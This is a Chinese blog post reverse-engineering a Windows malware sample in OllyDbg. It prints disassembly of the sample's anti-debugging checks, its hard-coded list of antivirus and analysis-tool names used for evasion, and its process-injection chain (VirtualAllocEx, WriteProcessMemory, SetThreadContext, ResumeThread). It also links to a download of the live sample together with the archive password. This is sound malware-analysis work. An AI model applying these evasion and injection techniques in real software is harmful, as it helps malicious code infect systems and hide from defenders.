病毒逆向分析

收到一个病毒样本,被告知高危,需要进行逆向分析。分析完成之后写篇你想分析报告,第一次写病毒逆向报告,还不太会排版,见谅。
首先,先拿到病毒传到世界杀毒网上先看看检出率,不出意料,检出率还挺高(60 / 66),毕竟不算是特别新的病毒了, 但是在高检出率的同时,virustotal和腾讯的哈勃分析系统都没能检测到什么关键的病毒行为(腾讯只检出了打开事件,virustotal只检出Isdebuggerpresent调用),所以这个东西简单加个壳改一改就绕过了一堆杀软了

腾讯哈勃分析结果:哈勃分析结果页
virustotal分析结果:VirusTotal结果页
病毒样本下载:百度网盘
解压密码:virus

绕了一会儿
首先用PEDI查下壳发现是VC++的,并没有加壳。
拖进IDA查看下调用API列表,字符串等信息,然后看下关键API调用周围的伪代码,
不过一开始用IDA静态分析一直在他的主线程里面绕,并没有发现啥恶意行为,上OD给GetProcAddress下断,之前认为他是动态调用API,结果并没有断下,一开始做了半天无用功。。。。

OD载入
看了半天感觉这病毒把恶意代码给放到新创建的线程中了,然后再线程中通过动态调用API来躲避OD和IDA的函数调用检测。
1.OD 下用 BP CreateThread 给系统创建新线程API下断
成功断下,查看函数调用信息:

00127638   00A20594  /CALL 到 CreateThread 来自 00A20591
0012763C   00000000  |pSecurity = NULL
00127640   00000043  |StackSize = 43 (67.)
00127644   00A53F61  |ThreadFunction = 00A53F61        //新线程的起始地址
00127648   00A70081  |pThreadParm = 00A70081
0012764C   00000000  |CreationFlags = 0
00127650   00A2AEA0  \pThreadId = 00A2AEA0

2.给 00A53F61 地址下断,跟踪这个线程的执行流程

00A53F61    5D              pop ebp                                  //新线程的起始地址
00A53F62    5D              pop ebp                                  
00A53F63    60              pushad
00A53F64    E8 11000000     call 00A53F7A                            //Call 1
00A53F69    E8 00000000     call 00A53F6E                            //SEH处理函数
00A53F6E    58              pop eax
00A53F6F    8D88 0A030000   lea ecx,dword ptr ds:[eax+0x30A]
00A53F75    E9 DE0E0000     jmp 00A54E58
00A53F7A    64:FF35 0000000>push dword ptr fs:[0]                    //获取SEH链表
00A53F81    64:8925 0000000>mov dword ptr fs:[0],esp                 //添加SEH异常处理链表
00A53F88    8B8D D6070000   mov ecx,dword ptr ss:[ebp+0x7D6]
00A53F8E    8D81 8B74FFFF   lea eax,dword ptr ds:[ecx-0x8B75]
00A53F94    50              push eax
00A53F95    05 3DFEFFFF     add eax,-0x1C3
00A53F9A    50              push eax
00A53F9B    C3              retn

3.继续 F8,发现调用了CreateMutex创建互斥体

00A53FC4    50              push eax
00A53FC5    6A 00           push 0x0
00A53FC7    FFB5 4A070000   push dword ptr ss:[ebp+0x74A]
00A53FCD    FF55 00         call dword ptr ss:[ebp]                  //创建互斥体CreateMutexA
00A53FD0    85C0            test eax,eax
00A53FD2    0F84 A0020000   je 00A54278
00A53FD8    8985 12080000   mov dword ptr ss:[ebp+0x812],eax
00A53FDE    6A 00           push 0x0
00A53FE0    6A 00           push 0x0
00A53FE2    6A 00           push 0x0
00A53FE4    FF55 00         call dword ptr ss:[ebp]                  //创建互斥体kernel32.CreateMutexA
00A53FE7    85C0            test eax,eax
00A53FE9    0F84 89020000   je 00A54278
00A53FEF    8985 22080000   mov dword ptr ss:[ebp+0x822],eax

4.获取自身全路径,然后检测全路径中有无敏感词,敏感词列表:

00A5C0FE                                            7B 00                {.
00A5C10E  7D 00 24 00 74 65 6D 70 00 6E 6F 72 74 6F 6E 00  }.$.temp.norton.
00A5C11E  6D 63 61 66 65 65 00 61 6E 74 69 00 74 6D 70 00  mcafee.anti.tmp.
00A5C12E  73 65 63 75 72 65 00 75 70 78 00 66 6F 72 74 69  secure.upx.forti
00A5C13E  00 73 63 61 6E 00 7A 6F 6E 65 20 6C 61 62 73 00  .scan.zone labs.
00A5C14E  61 6C 61 72 6D 00 73 79 6D 61 6E 74 65 63 00 72  alarm.symantec.r
00A5C15E  65 74 69 6E 61 00 65 65 79 65 00 76 69 72 75 73  etina.eeye.virus
00A5C16E  00 66 69 72 65 77 61 6C 6C 00 73 70 69 64 65 72  .firewall.spider
00A5C17E  00 62 61 63 6B 64 6F 6F 72 00 64 72 77 65 62 00  .backdoor.drweb.
00A5C18E  76 69 72 69 00 64 65 62 75 67 00 70 61 6E 64 61  viri.debug.panda
00A5C19E  00 73 68 69 65 6C 64 00 6B 61 73 70 65 72 73 6B  .shield.kaspersk
00A5C1AE  79 00 64 6F 63 74 6F 72 00 74 72 65 6E 64 20 6D  y.doctor.trend m
00A5C1BE  69 63 72 6F 00 73 6F 6E 69 71 75 65 00 63 69 6C  icro.sonique.cil
00A5C1CE  6C 69 6E 00 62 61 72 72 61 63 75 64 61 00 73 79  lin.barracuda.sy
00A5C1DE  67 61 74 65 00 72 65 73 63 75 65 00 70 65 62 75  gate.rescue.pebu
00A5C1EE  6E 64 6C 65 00 69 64 61 00 73 70 66 00 61 73 73  ndle.ida.spf.ass
00A5C1FE  65 6D 62 6C 65 00 70 6B 6C 69 74 65 00 61 73 70  emble.pklite.asp
00A5C20E  61 63 6B 00 64 69 73 61 73 6D 00 67 6C 61 64 69  ack.disasm.gladi
00A5C21E  61 74 6F 72 00 6F 72 74 20 65 78 70 6C 00 70 72  ator.ort expl.pr
00A5C22E  6F 63 65 73 73 00 65 6C 69 61 73 68 69 6D 00 74  ocess.eliashim.t
00A5C23E  64 73 33 00 73 74 61 72 66 6F 72 63 65 00 73 61  ds3.starforce.sa
00A5C24E  66 65 27 6E 27 73 65 63 00 61 76 78 00 72 6F 6F  fe'n'sec.avx.roo
00A5C25E  74 00 62 75 72 6E 00 61 6C 61 64 64 69 6E 00 65  t.burn.aladdin.e
00A5C26E  73 61 66 65 00 6F 6C 6C 79 00 67 72 69 73 6F 66  safe.olly.grisof
00A5C27E  74 00 61 76 67 00 61 72 6D 6F 72 00 6E 75 6D 65  t.avg.armor.nume
00A5C28E  67 61 00 6D 69 72 63 00 73 6F 66 74 69 63 65 00  ga.mirc.softice.
00A5C29E  6E 6F 72 6D 61 6E 00 6E 65 6F 6C 69 74 65 00 74  norman.neolite.t
00A5C2AE  69 6E 79 00 6F 73 69 74 69 73 00 70 72 6F 78 79  iny.ositis.proxy
00A5C2BE  00 77 65 62 72 6F 6F 74 00 68 61 63 6B 00 73 70  .webroot.hack.sp
00A5C2CE  79 00 69 73 73 00 70 6B 77 61 72 65 00 62 6C 61  y.iss.pkware.bla
00A5C2DE  63 6B 69 63 65 00 6C 61 76 61 73 6F 66 74 00 61  ckice.lavasoft.a
00A5C2EE  77 61 72 65 00 70 65 63 6F 6D 70 61 63 74 00 63  ware.pecompact.c
00A5C2FE  6C 65 61 6E 00 68 75 6E 74 65 72 00 63 6F 6D 6D  lean.hunter.comm
00A5C30E  6F 6E 00 6B 65 72 69 6F 00 72 6F 75 74 65 00 74  on.kerio.route.t
00A5C31E  72 6F 6A 61 6E 00 73 70 79 77 61 72 65 00 68 65  rojan.spyware.he
00A5C32E  61 6C 00 61 6C 77 69 6C 00 71 75 61 6C 79 73 00  al.alwil.qualys.
00A5C33E  74 65 6E 61 62 6C 65 00 61 76 61 73 74 00 61 32  tenable.avast.a2
00A5C34E  00 65 74 72 75 73 74 00 73 70 79 00 73 74 65 67  .etrust.spy.steg
00A5C35E  61 6E 6F 73 00 73 65 63 75 72 69 74 79 00 70 72  anos.security.pr
00A5C36E  69 6E 63 69 70 61 6C 00 61 67 6E 69 74 75 6D 00  incipal.agnitum.
00A5C37E  6F 75 74 70 6F 73 74 00 61 76 70 00 70 65 72 73  outpost.avp.pers
00A5C38E  6F 6E 61 6C 00 73 6F 66 74 77 69 6E 00 64 65 66  onal.softwin.def
00A5C39E  65 6E 64 65 72 00 69 6E 74 65 72 6D 75 74 65 00  ender.intermute.
00A5C3AE  67 75 61 72 64 00 69 6E 6F 63 75 6C 61 74 65 00  guard.inoculate.
00A5C3BE  73 6F 70 68 6F 73 00 66 72 69 73 6B 00 61 6C 77  sophos.frisk.alw
00A5C3CE  69 6C 00 70 72 6F 74 65 63 74 00 65 73 65 74 00  il.protect.eset.
00A5C3DE  6E 6F 64 33 32 00 66 2D 70 72 6F 74 00 61 76 77  nod32.f-prot.avw
00A5C3EE  69 6E 00 61 68 65 61 64 00 6E 65 72 6F 00 62 6C  in.ahead.nero.bl
00A5C3FE  69 6E 64 77 72 69 74 65 00 63 6C 6F 6E 65 63 64  indwrite.clonecd
00A5C40E  00 65 6C 61 62 6F 72 61 74 65 00 73 6C 79 73 6F  .elaborate.slyso
00A5C41E  66 74 00 68 69 6A 61 63 6B 00 72 6F 78 69 6F 00  ft.hijack.roxio.
00A5C42E  69 6D 61 70 69 00 6E 65 77 74 65 63 68 00 69 6E  imapi.newtech.in
00A5C43E  66 6F 73 79 73 74 65 6D 73 00 61 64 61 70 74 65  fosystems.adapte
00A5C44E  63 00 73 77 69 66 74 20 73 6F 75 6E 64 00 63 6F  c.swift sound.co
00A5C45E  70 79 73 74 61 72 00 61 73 74 6F 6E 73 6F 66 74  pystar.astonsoft
00A5C46E  00 67 65 61 72 20 73 6F 66 74 77 61 72 65 00 73  .gear software.s
00A5C47E  61 74 65 69 72 61 00 64 66 72 67 6E 74 66 73 00  ateira.dfrgntfs.

5.敏感词字符串对比函数
esi:自身的全路径 edi:检测列表
若未检测到则EAX值为0,检测到则为非0

00A54338    8A07            mov al,byte ptr ds:[edi]
00A5433A    84C0            test al,al
00A5433C    74 2A           je short 00A54368
00A5433E    8A26            mov ah,byte ptr ds:[esi]
00A54340    84E4            test ah,ah
00A54342    74 24           je short 00A54368
00A54344    38E0            cmp al,ah
00A54346    75 1A           jnz short 00A54362
00A54348    8BCE            mov ecx,esi
00A5434A    8BD7            mov edx,edi
00A5434C    8A21            mov ah,byte ptr ds:[ecx]
00A5434E    8A02            mov al,byte ptr ds:[edx]
00A54350    84C0            test al,al
00A54352    74 11           je short 00A54365
00A54354    84E4            test ah,ah
00A54356    74 10           je short 00A54368
00A54358    38C4            cmp ah,al
00A5435A    75 04           jnz short 00A54360
00A5435C    41              inc ecx
00A5435D    42              inc edx      
00A5435E  ^ EB EC           jmp short 00A5434C
00A54360    8A07            mov al,byte ptr ds:[edi]
00A54362    46              inc esi
00A54363  ^ EB D9           jmp short 00A5433E
00A54365    8BC6            mov eax,esi
00A54367    C3              retn
00A54368    33C0            xor eax,eax
00A5436A    C3              retn

6.CreateThread又拦截了新线程的创建

00D3FF50   00A5B769  /CALL 到 CreateThread 来自 00A5B766
00D3FF54   00000000  |pSecurity = NULL
00D3FF58   00001000  |StackSize = 1000 (4096.)
00D3FF5C   00A5B3F8  |ThreadFunction = 00A5B3F8
00D3FF60   00A413C0  |pThreadParm = 00A413C0
00D3FF64   00000000  |CreationFlags = 0
00D3FF68   00A70974  \pThreadId = 00A70974

7.跟入新线程下断分析:

00A5B433    64:8925 0000000>mov dword ptr fs:[0],esp
00A5B43A    50              push eax
00A5B43B    FF95 A4000000   call dword ptr ss:[ebp+0xA4]             
00A5B441    FF77 36         push dword ptr ds:[edi+0x36]
00A5B444    50              push eax
00A5B445    FF95 A0000000   call dword ptr ss:[ebp+0xA0]
00A5B44B    8B8D AC000000   mov ecx,dword ptr ss:[ebp+0xAC]    //调用Isdebuggerpresent反调试
00A5B451    E3 08           jecxz short 00A5B45B
00A5B453    FFD1            call ecx
00A5B455    0185 DE070000   add dword ptr ss:[ebp+0x7DE],eax

8.获取本机进程目录,进行遍历查询

00A547F7    6A 02           push 0x2
00A547F9    FF55 4C         call dword ptr ss:[ebp+0x4C]             //调用CreateToolhelp32Snapshot获取系统进程列表句柄
00A547FC    8BD8            mov ebx,eax
00A547FE    40              inc eax
00A547FF    0F84 CC000000   je 00A548D1
00A54805    8BF4            mov esi,esp
00A54807    C706 28010000   mov dword ptr ds:[esi],0x128
00A5480D    56              push esi
00A5480E    53              push ebx
00A5480F    FF55 58         call dword ptr ss:[ebp+0x58]             //调用Process32First拿到第一个进程句柄
00A54812    53              push ebx
00A54813    8D5E 24         lea ebx,dword ptr ds:[esi+0x24]
00A54816    53              push ebx
00A54817    FF95 00010000   call dword ptr ss:[ebp+0x100]            //转小写
00A5481D    8BBD D6070000   mov edi,dword ptr ss:[ebp+0x7D6]
00A54823    81C7 2DF5FFFF   add edi,-0xAD3
00A54829    E8 886D0000     call 00A5B5B6                            //调用字符串比较函数
00A5482E    5B              pop ebx                                  

比对列表

00A5C03E  73 61 76 65 64 75 6D 70 00 64 75 6D 70 72 65 70  savedump.dumprep
00A5C04E  00 64 77 77 69 6E 00 64 72 77 74 73 6E 33 32 00  .dwwin.drwtsn32.
00A5C05E  64 72 77 61 74 73 6F 6E 00 6B 65 72 6E 65 6C 33  drwatson.kernel3
00A5C06E  32 2E 64 6C 6C 00 73 6D 73 73 00 63 73 72 73 73  2.dll.smss.csrss
00A5C07E  00 73 70 6F 6F 6C 73 76 00 63 74 66 6D 6F 6E 00  .spoolsv.ctfmon.
00A5C08E  74 65 6D 70 00 00 00 00 00 76 74 66 00 74 62 00  temp

9.对上面遍历到的存在的合适的进程进行远程线程注入

00A545CC    6A 01           push 0x1
00A545CE    6A 00           push 0x0
00A545D0    56              push esi
00A545D1    FF95 B0000000   call dword ptr ss:[ebp+0xB0]             //CreateRemoteThread注入线程
00A545D7    97              xchg eax,edi
00A545D8    85FF            test edi,edi
00A545DA    0F84 2F010000   je 00A5470F
00A545E0    EB 2D           jmp short 00A5460F
00A545E2    E8 69FFFFFF     call 00A54550
00A545E7    97              xchg eax,edi
00A545E8    85FF            test edi,edi
00A545EA    0F84 1F010000   je 00A5470F
00A545F0    57              push edi
00A545F1    FF55 44         call dword ptr ss:[ebp+0x44]
00A545F4    83F8 00         cmp eax,0x0
00A545F7    0F85 0E010000   jnz 00A5470B                            //循环判断
00A545FD    57              push edi
00A545FE    FF55 2C         call dword ptr ss:[ebp+0x2C]            //挂起线程SuspendThread
00A54601    40              inc eax
00A54602    0F84 03010000   je 00A5470B
00A54608    48              dec eax
00A54609    0F85 F8000000   jnz 00A54707
00A5460F    85DB            test ebx,ebx
00A54611    74 18           je short 00A5462B

10.调用 VirutualAllocEX 在系统进程中申请空间,准备注入代码

00A54564    83BD E6070000 0>cmp dword ptr ss:[ebp+0x7E6],0x0
00A5456B    75 05           jnz short 00A54572
00A5456D    E8 6AFFFFFF     call 00A544DC
00A54572    894424 1C       mov dword ptr ss:[esp+0x1C],eax
00A54576    61              popad
00A54577    C3              retn
00A54578    60              pushad
00A54579    83BD E6070000 0>cmp dword ptr ss:[ebp+0x7E6],0x0
00A54580    74 13           je short 00A54595
00A54582    6A 40           push 0x40
00A54584    68 00100000     push 0x1000
00A54589    50              push eax
00A5458A    6A 00           push 0x0
00A5458C    56              push esi
00A5458D    FF95 B8000000   call dword ptr ss:[ebp+0xB8]             //VirtualAllocEX(空间地址随机)
00A54593    EB 0D           jmp short 00A545A2
00A54595    6A 40           push 0x40
00A54597    68 00100008     push 0x8001000
00A5459C    50              push eax
00A5459D    6A 00           push 0x0
00A5459F    FF55 E7         call dword ptr ss:[ebp-0x19]             ; kernel32.VirtualAlloc
00A545A2    894424 1C       mov dword ptr ss:[esp+0x1C],eax
00A545A6    61              popad
00A545A7    C3              retn
00A545A8    33C0            xor eax,eax
00A545AA    60              pushad
00A545AB    8BDF            mov ebx,edi
00A545AD    85FF            test edi,edi
00A545AF    75 31           jnz short 00A545E2
00A545B1    83BD B0000000 0>cmp dword ptr ss:[ebp+0xB0],0x0
00A545B8    0F84 51010000   je 00A5470F
00A545BE    8D85 F3080000   lea eax,dword ptr ss:[ebp+0x8F3]

10.调用WriteProcessMemory写入刚分配的内存区域

00D6FAC8   00B446C9  /CALL 到 WriteProcessMemory 来自 00B446C6
00D6FACC   00000124  |hProcess = 00000124 (window)  //进程句柄
00D6FAD0   00CD0000  |Address = 0xCD0000    //VirtualAlloc返回值
00D6FAD4   00B4D8C8  |Buffer = 00B4D8C8     //shellcode开始区
00D6FAD8   00007678  |BytesToWrite = 7678 (30328.)  //写入长度
00D6FADC   00000000  \pBytesWritten = NULL

两次调用,覆盖写入

00B446C4    50              push eax
00B446C5    56              push esi
00B446C6    FF55 3C         call dword ptr ss:[ebp+0x3C]            //WriteProcessMemory  长度0x7678
00B446C9    85C0            test eax,eax
00B446CB    59              pop ecx
00B446CC    74 33           je short 00B44701
00B446CE    6A 00           push 0x0
00B446D0    68 0A000000     push 0xA
00B446D5    8D85 3F060000   lea eax,dword ptr ss:[ebp+0x63F]
00B446DB    50              push eax
00B446DC    81C1 FF020000   add ecx,0x2FF
00B446E2    51              push ecx
00B446E3    56              push esi
00B446E4    FF55 3C         call dword ptr ss:[ebp+0x3C]           //WriteProcessMemory 长度:0xA
00B446E7    85C0            test eax,eax
00B446E9    74 16           je short 00B44701
00B446EB    C703 01000100   mov dword ptr ds:[ebx],0x10001
00B446F1    53              push ebx
00B446F2    57              push edi

11.调用SetThreadContext函数修改注入进程上下文,使注入代码执行

00B446EB    C703 01000100   mov dword ptr ds:[ebx],0x10001
00B446F1    53              push ebx
00B446F2    57              push edi
00B446F3    FF55 40         call dword ptr ss:[ebp+0x40]             ; SetThreadContext(threadid,pcontext)
00B446F6    85C0            test eax,eax
00B446F8    74 07           je short 00B44701
00B446FA    FF8424 E8020000 inc dword ptr ss:[esp+0x2E8]

查看pcontext指针指向的内存区域

00D6FAD8   00B446F6  /CALL 到 SetThreadContext 来自 00B446F3
00D6FADC   0000011C  |hThread = 0000011C (window)
00D6FAE0   00D6FAE4  \pContext = 00D6FAE4

内存区:

00D6FAE4  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ..............
00D6FAF4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00D6FB04  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00D6FB14  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00D6FB24  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00D6FB34  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00D6FB44  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00D6FB54  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00D6FB64  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00D6FB74  38 00 00 00 23 00 00 00 23 00 00 00 00 00 00 00  8...#...#.......
00D6FB84  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00D6FB94  F8 C0 80 7C 00 00 00 00 5B 02 CD 00 1B 00 00 00  €|....[?...

偏移 0xB0 处为 EAX , 偏移 0xB8 处为 EIP
12.调用ResumeThread恢复线程,注入代码成功执行吗,所以这里不能直接步过这个函数,
建议下载 processhacker 这个工具,选择此次注入的进程(WriteProcessMemory调用时的进程句柄指向的,不会od看也可以用冰刃查看)双击。找刚刚查看的pcontext中eip的地址处,修改为无限循环(EB FE),原指令不要忘(60 9C),然后步过ResumeThread函数,用OD附件到注入的进程上,把原指令改回来就可以继续注入代码了。

跟踪后发现shellcode解密完就是其自身,代码通过注入完成复制。
程序通过Isdebuggerpresent,注册SEH和检测自身全路径来判断有没有被调试,把恶意行为放到新线程中,通过动态函数调用,来躲避静态反编译的API检测,通过远程线程注入,把自身代码注入到系统进程,然后通过上下文更改完成镜像切换。

猜你喜欢

转载自blog.csdn.net/joliph/article/details/79600865